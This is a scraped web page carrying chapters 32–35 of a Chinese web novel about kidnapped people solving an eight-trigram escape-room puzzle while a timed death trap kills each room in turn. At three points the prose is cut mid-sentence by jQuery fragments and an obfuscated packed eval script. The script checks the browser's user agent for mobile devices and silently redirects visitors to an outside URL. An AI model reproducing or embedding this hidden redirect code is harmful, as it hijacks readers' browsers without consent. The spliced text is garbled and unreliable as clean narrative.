$(''.inform'').remove(); $(''#content'').append('' 姑娘您是在太上老君的丹炉里练过的吧？” “本来是没这本事的，但是我刚刚因为红圈烫脚的时候，不幸就踩到这玩意儿了，所以……” “噢，这样倒是也勉强说的通，但是你看起来一点儿不急呀？” 月栀酒猝不及防转移话题，林之被挫得愣是没给接上，反应过后才用一副被气笑了的表情说：“月小哥你瞎的？我看起来不急吗？你当我是块石头还是个傻子？我就差没在额头上刻‘着急’两个大字了……你这人真会说话欸，哼！” “这不是觉得你沉着冷静外加心思细腻嘛，换我就绝对发现不了。” “倒是你才奇怪吧？这种时候，谁也不知道那个声音说的是真的还是假的，你居然还有功夫跟我开玩笑，真不知道是心大还是装傻……算了，懒得理你，我还是先去把那个窗子给拆了吧。” —————— 月栀酒右边第二个亮金色的房间里，两个互不认识的眼镜男和啤酒肚大叔面面相觑、冷汗直流。 他们的房间也是正面小窗口，脚底红圈，通顶拉环的配置，只是小窗口正上方的文字不是［坎］，而变成了［乾］。这个房间的其余三面也不同于月栀酒那个房间的出水口，而挂上了整整三面墙的大砍刀。 啤酒肚大叔直接双脚发软瘫坐在地上，“这……这他妈是关二爷的青龙偃月刀吧？妈的，可不兴这么玩啊！” 眼镜男在这三面墙的大砍刀出来时差点撞到刀刃上，现在还心有余悸，“我、我……我这边捡到一支笔……她、她那个数字人是不是要我们答题啊？” “可、可能吧……但是没有题目啊。” “兄弟，这三面墙的关二爷神兵都长的一模一样，你说有没有一种可能……她是让我们找不同？” 啤酒肚大叔紧紧盯住那些泛着寒光的刀刃，一动也不敢动。 “找……不同？” “然后在白板上写是哪一把。” “够扯的，但是……也不是完全没有道理。” —————— 把窗框卸下来的过程并不复杂，只是有些耗时。 林之很快就把窗框卸下来了，但还是不太明白，把窗框放在自己脸面前作比较，“你说这窗子这么小，就算把它卸下来了，我们也出不去呀……她给我们这个螺丝刀到底有什么作用啊？就为了让我们呼吸几口新鲜空气？” 月栀酒的思绪无比繁杂，根本没有功夫去理会林之说了些什么。 白板，还有滚落在地的白板笔…… 难道是要他们答题吗？ 可是题目在哪？ “［坎］、［乾］……”林之看着窗框顶上的两个汉字自言自语，“八卦吗？” 月栀酒突然说话：“是八卦。” “小哥哥，你能不能不要炸鱼一样的突然间说话啊？会吓死人的。” 月栀酒似乎想通了一些事情，莫名其妙地自动忽略掉林之的抱怨，接上了自己的上一句话：“但是不重要。” “什么东西不重要？”林之被月栀酒说得一头雾水，她甚至有点不太确定月栀酒是不是在跟自己说话。但是这个房间里只有他们俩，除了跟她，月栀酒还能跟谁说话？ 月栀酒捡起地上的白板笔，径直走到白板面前，写下了两个阿拉伯数字——［6、1］。 “‘天一生水，地六成之’——这就是答案。不过眼目前儿的题目和答案都不重要了，那些都是干扰线索，真正重要的是八卦这个提示。只是现在，恐怕就有点棘手了……” 32.万家山 “不是，答案怎么就是［6、1］了？六一儿童节呀？” “你自己才说过的，八卦。”月栀酒指着窗外，“这八个房间颜色都不相同，我们正对面是红色，右手边隔一个是亮金色，左手边隔一个是深土棕色，这是先天八卦的排列方式。在先天八卦当中，［坎］水为正西方的宫位，按理说我只用写［坎］在先天八卦的数字［6］就够了，但是因为这块白板上的答案不重要，所以我就把先天八卦的［1］也写上去了。” “嘶……是这么个不重要法啊。那既然你连都知道了，不应该好办很多吗？为什么会更棘手了？”林之看着白板上［6、1］中的［1］，问道：“难不成，你是怕……” “第一，虽然不太可能，但是如果按照后天八卦来排序，我们就是第一个被宰的。第二，你有没有发现，我们在的空间比其他几个房间要小一圈？”月栀酒敲敲墙壁，听那声音与正常水泥砖块砌成的墙壁不同，有些金属的音色。“我怀疑每个房间都是一样的，内部只有我们看到的这么大，而内部空间和外界相隔的这些地方可能有机关，那些东西足矣使我们丧命……第三，十分钟的时间已经所剩不多了。” “纠正一下。”林之从裤子口袋里拿出一个复古式怀表，“准确来说，是还剩两分钟零28秒左右。” 来不及了。 月栀酒看着头顶的金属拉手和脚下的红圈……18个拉杆，9个圆圈……如果把两个拉杆看作一组，那么拉杆也是9组，还正对着地面的圆圈。 这些鬼东西到底是什么意思？ 整整三面墙的出水口，不出十分钟就可以没顶，他们要怎么逃出去？ “你也不用太着急了，我们不可能是第一个被宰的，还有一点时间。” 这次轮到月栀酒发问了，“怎么这么笃定？” 林之手里拿着窗框，站在窗口往外看着说：“先后天八卦起源于《河图》《洛书》，你刚刚背的‘天一生水，地六成之’也是源于《河图》。听说断人事多用后天八卦，断比较大的事情或者人力无法达成的自然事件才会启用先天八卦，现在这些房间都能飘在天上，她都能说出“神女”这种词来，一看就不是单纯的人事这么简单，哪有用后天八卦的道理？” 林之说的不错。 房屋的颜色确实是按先天八卦排列的，按照后天八卦的规律杀人的可能性应该不大。 只是…… 一觉醒来发现自己出现在一个完全陌生的地方，正常人面临这种情况都应该惊讶或者不知所措才对，就算是心理承受能力极好的人，也顶天了会像月栀酒这样迅速冷静下来，寻求应对之策。可是林之居然在冷静下来之余，还故作惊讶。且不说高深莫测，这个林之绝对也是个非同一般的高人。像她这样的人，就算现在说出八卦的起源，也不足以让月栀酒感到奇怪。 月栀酒谈笑间还了她的话，“可是她把你绑来的时候，也没告诉过你绑架你的道理呀，姑娘。想在这个狗屁地方谈道理，咱们还不如一头撞死了干脆。” “那小哥你想出来逃出去的办法了吗？” “……暂时还没有。” “那不就完了？反正都出不去，还不如安慰一下自己，难不成你真的希望我们是第一个血溅当场的？想死也不带这么咒自己的好不好……”林之把头伸出窗口，到了肩膀却被卡住了，“要我说，我们应该看看有没有镜子什么的，想办法看看右边那个‘乾字号’房间里面的动静，毕竟第一个不是他们就是我们。” 确实，先天八卦为［乾］的那间房间虽然不是紧挨着他们的［坎］字房间，但是直接用肉眼，还是会有很大一块视野盲区。 月栀酒觉得有道理，拿起被卸下来的玻璃，试完了反光的角度，又拿起螺丝刀撬地上的出水口，看看能不能组装出什么有用的东西，很可惜这房间里头的什么东西都撬不下来，他也只好放弃。 就在他拿窗框做实验的时候，偶然看到左边正北方［坤］字房间的窗口处闪过了一个瘦小的身影，那身影频繁出现在窗口，似乎也是找到了螺丝刀在撬窗框。 坤为阴土，为棕色，亦有大地之意。 既然［坎］字房间里的月栀酒和林之能发现螺丝刀，那么［坤］字房间里的人能发现它也不奇怪。唯一奇怪的是，那个房间里的身影太小巧了，简直就像是个…… “［坤］字的那个房间里是不是个小孩子？” 林之叫他让开点，凑过去看清楚之后说：“是啊，有两个小孩子呢，一男一女，小哥你视力不好看不清吗？” “那房间这么远，窗口还这么小，就算是拿了大圣的火眼金睛也不一定能看清楚吧……您确定看清楚了有一对童男童女？” “什么童男童女，会不会说人话了……”纵然林之非常嫌弃月栀酒的这个说法，但她还是点了点头，“我确定得很，倒是这有没有小孩的，有什么很大的区别吗？” 月栀酒抬头看了眼拉手，又低头看了眼地上的圆圈，再顺时针扫了一遍每个房间的颜色，猛然间领悟了这个“八卦阵”的解法。 “当然有了，在这个鬼地方，有没有童男童女的区别可大了去了……有小孩子的那个房间里不只有两个人，准是四个。那两个小孩儿也不只是那个房间里的小孩儿，而是全局八卦九宫的转换器，有了他们，太极就能转了……” 说着，他把手伸出窗外，轻轻往下压。 在压到与窗框下横线平行位置的地方时，他似乎摸到了什么看不见的屏障。 —————— 以月栀酒他们的房间为正西方，正北方［坤］字的深土棕色房间里也在十分钟倒计时还差两三分钟时发现了螺丝刀。 与其他房间不同的是，别的房间里都只有两人，而这个房间里却有一个三十岁，身穿棕色风衣的姑娘、一个高中生或大学生样貌的胆怯姑娘，以及一男一女两个不过七八岁的小孩子，一共四个人。 “姐姐，我们来撬窗子！”小女孩举手。 “也行，你们先撬着，我再看看别的地方有没有机关。”这个房间里看起来年龄最大的棕色风衣姑娘说着，很是头疼地瞥了眼打从一开始就抱着自己坐在角落里，嘴里还念念有词不知道在说些什么的疯姑娘。 小男孩一边帮忙一边问：“姐姐，为什么我们一定要撬窗子呀？就算撬开，外面也没有路可以给我们走呀，会掉下去的。” “不，小瓶，我怀疑这个窗子只是一个屏幕，像你们玩的平板那样，只是为了要制造一个假象而已，外面很有可能是可以通行的。” 正在讲话的这个棕色风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492073|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣姑娘叫安艺。 这个房间里的两个小不点正是她的弟弟妹妹——安瓶和安桉。 缩在角落里的胆怯姑娘呢喃的声音越来越大，语调也近乎疯魔，最终让安家的兄弟姐妹几个听到了她说话的内容。 “我们会死的，这里的所有人都会死在这里，都会死……” 安艺寻思着这妹妹出现在这里很是奇怪，虽然看上去精神不正常，但是她担心的事情又好像证实了她的精神是正常的。 算了，时间不等人。 他们没有手表，不知道时间过去了多久，也没有功夫跟这个奇怪妹妹耗，还是以先找出口为重。 “卸下来了，姐姐！” “让我看看……” 安艺迫不及待地跑过去窗子边。 让她无比失望的是，把窗子拿下来之后，她看到窗子只不过是一块玻璃，窗外的景色都是切实存在的。 “等一下！” 还没等安艺继续发酵失落的情绪，她就看到了斜对面一个蓝色房间的窗口里伸出了一只手。那只手轻轻往下压，然后又往左右和上方摸去，居然都没有超过窗框的范围。 “小瓶你让我一下。”安艺也有样学样，把手伸了出去，左右摸索起来。没一会儿，安艺就惊叹道：“——天呐！” 安桉虽然年纪还小，但她也能明白现在是什么情况，紧紧抓着哥哥手，哆哆嗦嗦地问：“怎么了姐姐？” 安艺的手在四面都碰到了一面平整的东西。倘若将这四面顺着摸过来，便形成了一个与窗口一样大小的隧道。以这个窗口的大小来看，安瓶和安桉都是可以顺利通过的。 可是这个“隧道”真的是隧道吗？ 它又通往哪里呢？ 会不会中途消失，或者干脆有一节是空的，叫他们掉下去？ 如果这个地方真的是出口，那么就算安艺本人出不去，能让她的弟弟妹妹能出去也是好的…… 想到这里，她的目光一偏，就看到亮金色的［乾］字房间里有什么东西飞快闪过。在她看清之前，那个房间的玻璃窗子上就洒上了一抹鲜血，堵死了她的视线。 “啊！”安艺没忍住惊呼出声，用手捂住了嘴巴，被吓得连连后退，“居然是真的……真的……已经十分钟了，怎么办……” 安桉担忧地问姐姐怎么了，急忙过去拉住安艺。 安瓶则是爬到窗子上观察周围发生了什么。 【叶水0013】说完话过后，［坤］字房间里的三面墙壁里并没有出现什么奇怪的东西，只是颜色从正常的墙壁变成了和外壁一样的深土棕色。 安艺退到墙上，看着眼前的弟弟妹妹，不自觉眼前一黑，感到了至深的绝望，“怎么办、怎么办……” 十分钟过去，已经有一个房间里的人遇害了。 下一个会是谁？ 这里是什么地方？ 她究竟为什么会出现在这里？ 弟弟妹妹还这么小，他们不可以在这里丧命，要怎么做才能让他们活下去？ 难道真的要铤而走险吗？ 安艺蹲下来，把安桉紧紧圈在怀里，心想——大慈大悲的老天爷啊，不管我犯了什么错，请你直接降罪于我吧，求求你放过她，我真的没有办法再失去她一次了…… 33.万家山 —————— “死了？”林之因为视线受挫，看不清［乾］字房间里发生的事情。 “不知道，只瞧见了血，没瞧见死人。” 月栀酒看见［乾］字房间的小窗子上染上了一抹血迹，血迹的空隙还能看到类似大砍刀一样的东西在窗口晃来晃去。 它正对面［坤］字号房间的窗子已经被卸下来了，一个小男孩正趴在窗口往外看。 “过来呀……过来……快……你们不是已经发现了吗……快……”月栀酒像念咒一样盯着［坤］字房间看，竟连正在被血洗的［乾］字房间也顾不上了。 “喂，我说小哥，你被附身了？你让什么东西快过来？这种时候不要搞这种事情啊，吓人！”林之把他从窗口推开，一个人挡在窗子前，“实话告诉你吧，刚刚我卸窗子的时候，就发现了这个中间有看不见的通道，但是就算那边的小孩真的可以过来又能怎样？如果那边的小孩死了，其他的人就不活了吗？我们应该在自己的房间里找出去的办法呀。” 月栀酒几乎是没有丝毫犹豫，即刻回答道：“我找到了。” “找到什么？” “如果那个小孩不过来，我们很可能要熬死所有人，最后只我们活下来。但是如果她过来，我或许可以救下别人。” “不是……什么东西？怎么就熬死别人了？怎么就又救人了？［坎］的先天八卦不是［6］吗？不是最后一个呀。” 林之一头雾水，可月栀酒却没有相信她的懵懂。 他考虑了一下，发现确实没有必要这么担忧，横竖他也不是什么大公无私的人，自己活下去才最重要，何苦担心别人的生死？ 现在既然想通了，月栀酒也放下心来，换了一副没心没肺的表情，靠在墙上，转头饶有兴趣地盯着林之。 “姑娘，您觉着合理吗？” “你精神分裂呀小哥，怎么翻脸比翻书还快？什么东西合不合理的？” 月栀酒敲了敲房间内的墙壁，“它呀。” 林之频繁看怀表，气得直跺脚，“时间不多了，小哥你别跟我玩阅读理解好不好？有什么不能直接说吗？” “我是说八卦。因为一开始这个房间里的两个人都大概知道些八卦的运作规律，所以我给忘了一件事儿——假设这里的八个房间，只一个房间里有四人，其余房间都是两人，那么这里一共就是有18个人。且不论那些个小孩儿，您觉着剩下的16个人里，有几个人能说全八卦的成分？” 林之像是在对牛弹琴，真想伸手摸摸这个小哥是不是发烧了，敢情隔这儿说胡话呢这是。 “所以呢？他们说不说得全关我们什么事？我这个能说全的也不知道怎么出去呀。” “你还记不记得【叶水0013】说过的话？若是想要活命，还请八仙过海，各显神通……搭伴同行，也好免去孤单。” “我只记得她说黄泉路上慢走……” 月栀酒拉开林之。 透过小窗子玻璃，他们看到先天八卦为［兑］字的第二个房间的窗子上也被溅上了鲜血，数不尽的飞镖在［兑］字房间里如满屋子的蚊蝇乱飞。 二十分钟已经过了。 ［兑］字房间机关开启的时候，［乾］字房间的机关就停了，看来每次房间机关的启动时间是十分钟。 月栀酒只是注意着［坤］字房间窗口的情况，对其它房间没有过于在乎，继续说：“虽说八仙是各凭本事过海的，但是他们也有不少相互帮衬的情节。这就是她在提示我们，虽然可以自己逃脱，但是如果互帮互助，逃脱就会更加容易。” “你叽里呱啦说了这么老半天，我们要怎么互相帮助你倒是说呀！”林之看月栀酒半点不着急的样子，已经失去耐心了。 月栀酒把手伸出窗外触摸透明通道四周的屏障，冷静开口问：“咱们追根溯源回去想想，为什么这里只有八个房间，却有18个人呢？为什么旁边那个［坤］字房间会有四个人呢？还有啊，您知道这个隧道连接着哪里吗？” 林之被问懵了，也不是很确定，只模棱两可地反问了最后一个问题，“隧道……连接着对面？或者每个房间其实都行？” “对，可如果每个房间都行的话，比起让每个房间的隧道山路十八弯，最简单的方法是什么？” “就是……中间？”提点到这里，林之总算是晃过神来了，恍然大悟般激动地说：“噢！你的意思是，我们中间还有一个房间——［中宫］！因为［中宫］里包含了所有五行，所以就不显色。又因为［中宫］和［坤］都为土，［坤］又为大地之母，而且在「奇门遁甲」当中，天禽星和天芮星同一家，位于中宫的天禽星寄于坤宫，所以把中宫的人也放到坤宫去了！” 月栀酒原以为林之只大概知道八卦，没想到她连「奇门遁甲」都知道，颇为意外地看着她。林之刚刚被月栀酒钓得急了，没忍住就多说了一些，现在发现自己说漏了嘴，赶忙岔开了话题。 “可那是后天八卦的排法，源于《河图》的‘天五生土，地十成之’，［中宫］就是5和10（或0），可先天八卦的中宫是空的，只有1到8。我们现在遵循的是先天八卦的排法，［中宫］的所有解释怎么会合理呢？” 月栀酒轻声笑笑，“姑娘你又藏拙了不是？话都说到这个份儿上了，一念转、十方变，后天八卦不就是由先天八卦演变而成的吗？既然《河图》《洛书》之间可以相互转化，为什么由《河图》《洛书》制造出来的机关不可以呢？” “你说的倒是轻松，问题是要怎么转化？靠那两个小孩吗？就算先天变成后天，对我们又有什么好处？这样就可以逃出去了吗？” “一个小孩子就足够了。有了她，八卦之间的五行就得以流通，说不定就可以救下更多的人……只是这件事情的关键不在于我们，而在于［坤］字房间里的人能不能想通了。” —————— “姐姐、姐姐，又有一个房间里的人死掉了！”安瓶跑过去摇安艺。 安艺从［乾］字房间死人以来，就一直没缓过神，加之疯癫姑娘一直在说什么“大家都死”“一起死”“没有人可以活着出去”之类的胡言乱语，安艺甚至感觉灵魂都离开了□□，她已经无法控制自己的身体了。 可是这样不行。 弟弟妹妹还在这里，她是大姐姐，不能让弟弟妹妹去送死，她要当好一个主心骨，不能就这样泄气了。 “什么？这么快……小瓶，是哪个房间？快点告诉我！” “那个暗金色的房间，现在都还乱着呢，姐姐你看，就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496781|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚那个房间的左边。” 安艺不知道什么八卦，只能尽可能猜测杀人机关是从亮金色房间开始，逆时针转动触发的，不禁提起了紧张。 还有两个就到他们了。 最多只有半个小时可以想办法的时间。 这个房间里有一个疯癫姑娘是绝对想不了办法的，还有两个小孩子，也提供不了什么实质性的帮助——这就只剩下她了。 可是安艺并不擅长做解密类难题，要在半个小时之内，从一个算是什么都没有的房间里逃脱，这对她来说简直是堪比登天的难度。 难道只有一个办法了吗？ 她又再次伸手出去确定了窗外至少半米的地方有非常牢靠的透明通道，下定决心一样说：“把外衣和长裤脱了。” “啊？”安瓶和安桉异口同声地叫到了。 安艺又说了一遍：“把外衣和长裤脱了！” 安瓶和安桉一脸懵，根本不知道姐姐想要做什么，可是他们都是懂事的孩子。他们从安艺的表情可以看出来情况紧急，根本来不及解释，所以尽管万般疑惑，但也还是按照姐姐的吩咐脱下了外衣和长裤。 安艺习惯在口袋里装一把小刀，很庆幸没有被绑架他们的人搜走。她试了一下衣服的布料，惊奇地发现这些布料都还算牢靠，吊起一个小孩一时三刻应该不成问题。 得到了这个令人欣喜的结论，安艺拿出小刀，把外衣和裤子割成很多条，再把这些衣服碎片系在一起，勉强达到了五六米左右的长度。 在这段时间，他们眼见着已经有四个房间里的人遇害，机关开启的顺序也是如安艺推理的那样逆时针旋转，下一个就是他们了。 可是不管安艺有多么紧张，她不知道的是，先天八卦的第五个是［乾］字房间右边的［巽］字房间，而他们的［坤］字房间理应是最后一个。 “不到十分钟了……”安艺有一种交代临终遗言的架势，郑重地对安瓶和安桉说：“我有一个可以离开这个房间，但是非常危险，极有可能丧命的办法，你们谁愿意先来？” 安瓶安桉见姐姐说的如此严肃，都没有急着做出回答，而是有他们自己的考量。 “……我来。” 最先举手的，是看起来胆子非常小的小女孩安桉。 安艺不确定安桉是否明白了自己的意思，可是安桉很明显都能听明白。她蹲下去，拿起衣物绳子的头，在腰上裹了一圈，用害怕被家长责怪的嗲声说：“姐姐，帮我栓一下。” 看到妹妹近乎牺牲似的出头，安艺的眼泪一下子就涌出来了。 如果她能钻出那个小窗口，她肯定宁愿死都不会让妹妹犯险，可是现在时不我待，她和安瓶必须有一个走在前面。 “小桉……或许你、你可以和小瓶包剪锤定、定输赢……” 天呐，这哪里是定输赢，分明就是定生死。 世界上哪有她这样的姐姐？ 安艺真想掐死自己。 她怎么可以做出这样的事？ 让他们先行逃脱，能走一个是一个……这种话说的好听，可实际上就是拿小孩子出去试错。 这就像让弟弟妹妹从一个死穴进入另一个死穴，横竖左右都没得选，不如一边一个下注，拼概率和运气看看能不能生还。 34.万家山 “我先来吧姐姐！” 安瓶也理解过来安艺的意思，试图用蛮力抢过妹妹手上的衣物绳子。 “不可以！”安桉大喊一声：“必须我先！” “你别犟了，小桉，我是哥哥，让我来。” “我不是犟，你们先听我说！我知道姐姐是想让我们通过那个看不见的管道通行，又怕不安全，所以先进去的要拴上绳子。”安桉急得眼泪不受控制地落下，但还是条理清晰地继续说：“但是我比哥哥瘦小，在里面活动更方便……” “小桉！” 安瓶还是不肯放开绳子。 安桉猛地一下把绳子夺过来，加大了声音，“万一我掉下去了，哥哥可以帮姐姐把我拉上来，但是我和姐姐不一定拉得动哥哥！就算拉得动，衣服也不一定撑得住！” 安桉一个文文静静的小女孩，安艺没想到她居然条理如此清晰。 既然妹妹下定了决心，她也没有时间再考虑更多了，忙着帮安桉把衣物绳子系紧在腰上。 安瓶抓着安桉的手一个劲儿摇头，而安桉只是甩开了他，“哥哥，你要是不想让我死，就帮我系紧一点，帮姐姐拉紧绳子的另一端。” “好了好了……” 安艺哽咽着把安桉领到窗口边，凑着她把她推上窗口。如果不知情的人看下来，一定会觉得这个姐姐是想要杀死妹妹。 “试着试着走，小桉，你一定不可以再出事了，千万小心知道吗？” “知道了，姐姐。” 安桉爬出窗口，在看不见的隧道里挪动，手脚都在哆嗦，身后还连着一截绳子，就像一个飘在天上还长着尾巴的小天使。 安瓶没有跟在她的后面进入透明隧道，而是拽了拽安艺的衬衣衣角，问她：“姐姐，为什么是‘再次’？妹妹之前都没有遇到过这种情况呀。” 安艺没想到安瓶的脑子也转的这么快，这时才反应过来说多了，拿一只手摸了摸安瓶的头发，什么也没有再多说，又攥紧了绳子。 安桉一路往前爬，可只爬了不到两米就停住了。因为她在拿手摸索着往前爬的时候，突然发现前面的透明隧道消失了。 与其说是消失，不如说是本来就不存在。 因为她所在的隧道部分还在，而前端却没了，这更像是本来就没有东西。 安艺发现安桉停住了，手心攥出了汗水，扬起声音问：“小桉，怎么了？” “没有路了，姐姐……我要退回去吗？” 安桉俯瞰着下方深不见底的空间，还是全身都忍不住颤抖。 “没有路了？怎么会呢……” 安艺本来以为不说出去，至少可以顺利通往其他房间，但是现在安桉却连一半的路程都没有走完就停住了。 安桉为了确定不是自己摸错了，又再次试探着摸索隧道的边沿。 “诶……” 当安桉把手往上摸索管道上方边缘的时候，她惊异地发现隧道并不是消失，而是变向了。 隧道四壁分别向四方蔓延而去。 摸那手感，似乎像他们的房间内壁。 “小桉你快回来吧！”安艺不放心让妹妹卡在一个不知道会什么时候消失的地方，担忧地让妹妹回来一起再想办法。 “不，姐姐，好像还有路。” 安桉下定了决心，继续往前爬。 她发现管道延伸出来的透明墙不只摸上去的手感像房间内壁，延伸的连接处也像极了窗框的手感。 莫非，这中间还有一个看不见的房间？ ——这个想法对于安艺来说或许非常不可思议，但是对于还是小孩子的安桉来说却是非常有可能的。 “姐姐，你们抓好绳子，我随时都又可能会掉下去。” “你要做什么？！” 因为管道狭窄，就算猜测中间还有一个房间，她也没办法以脚先落地，而只能呈倒立的姿势，让手先往下。 她的两只手臂都已经全部探了出去。 安桉的手臂顶多半米长，当然不可能够到地面。 因为视线遮挡，安艺一开始不知道安桉想做什么，可是当安桉的手臂全部垂下去，整个身体又往前梭了半米之后，安艺才知道她的打算。 “安桉你在做什么？”安艺急忙就想往回扯绳子，大喊道：“你不要做傻事！小桉，你要做什么？快点回来！” 安桉扒着透明墙壁不愿意被拉回去。 “没关系的姐姐，相信我。绳子很牢，你们拉住那边就好，放一点绳子给我。” “危险，不要再往下了！” “没有时间了，姐姐，只有十分钟！” 安桉的主意太大，安艺不得不认输，放了一些绳子给她。 直到半个身子都探出去，安桉的手也还是没能够到地面。她知道时间紧迫，下一个就可能是姐姐哥哥遇害，所以只好冒险一试，整个人往下滑去。 “啊！” 绳子迅速往下滑了一截，把安艺和安瓶都吓得不轻，没能及时抓住衣物绳子。 好在安桉的脑洞没有错。 她的手掌先碰到地面，而后整个人都掉在了透明的房间里。 “小桉，你没事吧？” 安艺的声音还没有传过去，所有房间里的人就感到一阵恍惚……这八个房间竟在这一瞬间之内都移了位。 —————— ［巽］字房间里有一个文艺风穿着的女人和一个相似穿着的年轻男生。这个男生看上去顶多20岁的样子，和文艺风女人也认识。 他们早就看到有两个房间把窗口卸了下来，可是他们始终没能找到螺丝刀。 这个房间是整整三面墙的钢铁网格，但是由于钢铁粗壮，格口太小，底色又漆黑成一片，他们也不知道网格墙壁后面是什么。 女人看到窗口上方的［巽］，猜到了八卦。 但是他们的了解也仅仅只到这里而已，并不知道哪个卦象在什么位置，更思索不到解法。不过这个女人极其聪明，脑子转得也很快，仅在第二个房间的机关启动时，她就开始观察八个房间的方位了。 八个房间，地上九个红圈。如果不算正中间的那个圆圈的话，剩下的八个圆圈就刚好和八个房间对应。 只是……八个房间呈圆形围绕分布，女人分不出来他们的房间代表着哪个圆圈。就算这八个房间呈正方形分布，她也没有办法分出来自己所在的是哪一边。 在文艺风女人的视角看来，屠杀是从他们右边的［乾］字房间开始的，现在已经到了第四个［震］字房间，他们的［巽］字房间应该是最后一个。可她不知道的是，不管先天八卦还是后天八卦，［震］卦后面跟的都是他们的［巽］字房间。 红色与蓝色的房间相对，金色和棕色的房间都有两个，绿色只有一个，还是深绿色。按照一深一浅的规律，不出意外的话，他们的房间应该是浅绿色。 可是这些五彩斑斓的颜色又有什么意义呢？ “阿莱姐，有个小女孩飘在天上！”跟文艺风女人同房间的男生喊道。 女人本在地上的红圈之间打圈，听到男生的这一句话，也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505466|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急忙跑到窗边去看从［坤］字房间里爬出来，看似飘在天上的安桉。 “还真飘在天上了……我去，超自然啊……” 在安桉掉到中央房间里时，他们都跟着揪心了一下。 也就是这个瞬间，八卦的这几个房间发生了格局变化，所有房间的位置都变了。 人类本身五行俱全，［中宫］也五行俱全。有了人来激活中宫，中宫一旦被人力干预而存在，先天八卦就转变成了后天八卦。 这次，从他们的视角来看，红色和蓝色的房间依旧相对，而他们的房间从红色房间的左边移到了右边。 自古水火不相容，天上火对地下水。 如果火在天上，水在地下，那么这小小一个房间里的九个一模一样的圆圈，谁代表天？谁又代表地呢？ 文艺风女人看到窗外状似无尽天空的景色，心里想，如果这里是天上，那么小窗子就是天，小窗子正下方的红圈就代表了红色房间。 如此推测，他们的房间就是…… 文艺风女人自己先站到了面对窗子，第一排第一个的红圈中，对着男生喊道：“小篮子，你过来，站到这里。” “欸。”男生也站进了女人所处的红圈。 尽管女人的脑子十分灵光，心态也还算平稳，但是她的分析并不全对，只是运气太好，碰巧撞上了正确答案。 男生站进红圈后的几秒钟里，刚好十分钟的倒计时结束。 红圈居然开始缓缓下降起来了。 “阿莱姐，这……” 小篮子说着就想要跳出去，被文艺风女人拉住了。 红圈的那一块地面缓缓下降到底，刚好有一人高，在他们头顶又缓缓盖上了一片和红圈一样大小的铁片。 狭窄幽暗的空间让小篮子一下慌了神，忙不迭地伸手去推头顶的铁板，“遭了，我们中计了！阿莱姐，出不去了，现在怎么办？” 头顶原本的房间不断传来有一堆东西胡乱飞射的嘈杂声音，让小篮子急得满头大汗。 文艺风女人倒是还算冷静，她多方面分析了一下，得到了一个结论——“不是中计，是安全了。” “你说什么？” ………… 不出女人的预料，又是十分钟过去，他们原本房间的声音消失了，头顶的铁板也缓缓打开，窸窸窣窣地掉下来一些木签。脚底的圆圈也徐徐升起，恢复了原本房间的样子，只是遗留了满地的木签。 文艺风女人捡起一根竹签，对比了一下钢铁网格的空隙，努力控制住声音里的颤抖，“这些木签应该是从网格里面发射出来的……竹签锋利，如果我们没有找到躲避的机关，说不定会被扎成刺猬。” 小篮子也捡起一根木签放到鼻子前闻了闻。 “别闻太久，也别让它碰到你的伤口。” “怎么了，阿莱姐？” “这些竹签上面都涂了植物毒，我以前在乡下时闻到过。一根木签上的毒不会直接要你的命，但是多了就不好说了，总而言之，你还是不要碰到的好……” 小篮子微微点头，把手里的竹签扔到地上，踩着满地的竹签走到窗口，发出咔嗒咔嗒的声响。 “阿莱姐，这些房间的颜色好像又变了。” “怎么又变了？”文艺风女人也往窗边走来，自顾自地用连自己都听不到的声音纠结着：“颜色变化？八卦？这到底是什么意思……” 小篮子视线一转，不知道看到了什么，再一次激动地跟文艺风女人招手，“阿莱姐，那个飘在天上的小孩儿换位置了！” 35.万家山 —————— “嘿哟喂，还真给小爷我猜对了。” 林之被房间那一瞬间的房间转化给弄得头晕目眩，一脸无语地看向月栀酒，“我说小哥，你到底能不能说吧？你卖了半个小时的关子，现在有人掉在中间了，你打算怎么办？带着你的关子和那姑娘一起去地里陪葬吗？” “时间到了吗？”月栀酒还是不愿意正面回答，可谓是吊足了林之的胃口。 林之烦躁地反问：“什么时间？” “就是这一轮的十分钟倒计时啊。” “我看看啊……”林之看了眼怀表，“还早着呢，距离第四个房间的机关结束，大概还剩三分多钟。” 月栀酒满眼期待看向［巽］字房间。 “我们打个赌吧。” “小哥你还真是童心未泯，这种时候还有心情开玩笑……”林之甩开了搭在自己肩头的高马尾，突然话锋一转，勾起唇角问他：“来吧，赌什么？” “就赌没有我们的帮助，能不能有人顺利活下来。” 